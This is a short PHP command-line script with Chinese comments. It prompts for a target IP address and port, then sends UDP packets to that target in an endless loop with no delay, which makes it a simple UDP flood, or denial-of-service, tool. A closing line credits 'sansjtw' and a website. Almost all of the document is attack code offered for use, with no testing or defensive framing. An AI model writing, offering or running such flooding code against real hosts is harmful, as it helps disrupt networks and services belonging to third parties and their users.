<?php

// 函数：发送 UDP 数据包
function sendPacket($targetIP, $targetPort) {
    $message = "数据";
    $socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
    if (!$socket) {
        echo "创建套接字错误\n";
        return;
    }
    if (!socket_sendto($socket, $message, strlen($message), 0, $targetIP, $targetPort)) {
        echo "向 $targetIP:$targetPort 发送数据包错误\n";
    } else {
        echo "成功发送数据包至：$targetIP, 端口：$targetPort\n";
    }
    socket_close($socket);
}

// 从用户获取目标 IP 和端口
echo "请输入目标 IP 地址：";
$targetIP = trim(fgets(STDIN));
echo "请输入目标端口：";
$targetPort = trim(fgets(STDIN));

// 持续发送数据包
while (true) {
    sendPacket($targetIP, $targetPort);
}

?>

// 创作: sansjtw 金条k sansjtw.xyz